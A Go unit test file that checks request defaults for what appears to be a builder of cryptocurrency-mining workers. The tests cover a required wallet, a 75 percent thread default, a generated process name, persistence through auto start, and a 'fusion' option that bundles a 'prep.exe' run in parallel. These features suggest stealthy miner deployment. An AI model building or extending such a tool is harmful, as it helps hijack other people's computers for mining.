package builder

import "testing"

func TestNormalizeRequestDefaults(t *testing.T) {
	h := &Handler{}
	req := &BuildRequest{
		WorkerName: "pc-1",
		ServerURL:  "http://192.168.1.10:8989",
		Wallet:     "48abc",
	}
	if err := h.normalizeRequest(req); err != nil {
		t.Fatal(err)
	}
	if req.ThreadMode != "percent" {
		t.Fatalf("expected percent thread mode, got %s", req.ThreadMode)
	}
	if req.ThreadPercent != 75 {
		t.Fatalf("expected 75%%, got %d", req.ThreadPercent)
	}
	if req.ProcessName == "" {
		t.Fatal("expected generated process name")
	}
}

func TestNormalizeRequestRequiresWallet(t *testing.T) {
	h := &Handler{}
	req := &BuildRequest{WorkerName: "pc", ServerURL: "http://x"}
	if err := h.normalizeRequest(req); err == nil {
		t.Fatal("expected wallet validation error")
	}
}

func TestNormalizeRequestPersistence(t *testing.T) {
	h := &Handler{}
	req := &BuildRequest{
		WorkerName:  "pc-1",
		ServerURL:   "http://192.168.1.10:8989",
		Wallet:      "48abc",
		Persistence: true,
	}
	if err := h.normalizeRequest(req); err != nil {
		t.Fatal(err)
	}
	if !req.AutoStart {
		t.Fatal("persistence should enable auto start")
	}
}

func TestNormalizeRequestFusion(t *testing.T) {
	h := &Handler{}
	req := &BuildRequest{
		WorkerName:    "pc-1",
		ServerURL:     "http://192.168.1.10:8989",
		Wallet:        "48abc",
		FusionEnabled: true,
	}
	if err := h.normalizeRequest(req); err != nil {
		t.Fatal(err)
	}
	if req.FusionOutputName != "prep.exe" {
		t.Fatalf("expected prep.exe output, got %s", req.FusionOutputName)
	}
	if req.FusionRunOrder != "parallel" {
		t.Fatalf("expected parallel order, got %s", req.FusionRunOrder)
	}
}

func TestNormalizeFusionOrder(t *testing.T) {
	if got := normalizeFusionOrder("PREP_FIRST"); got != "prep_first" {
		t.Fatalf("unexpected order: %s", got)
	}
}
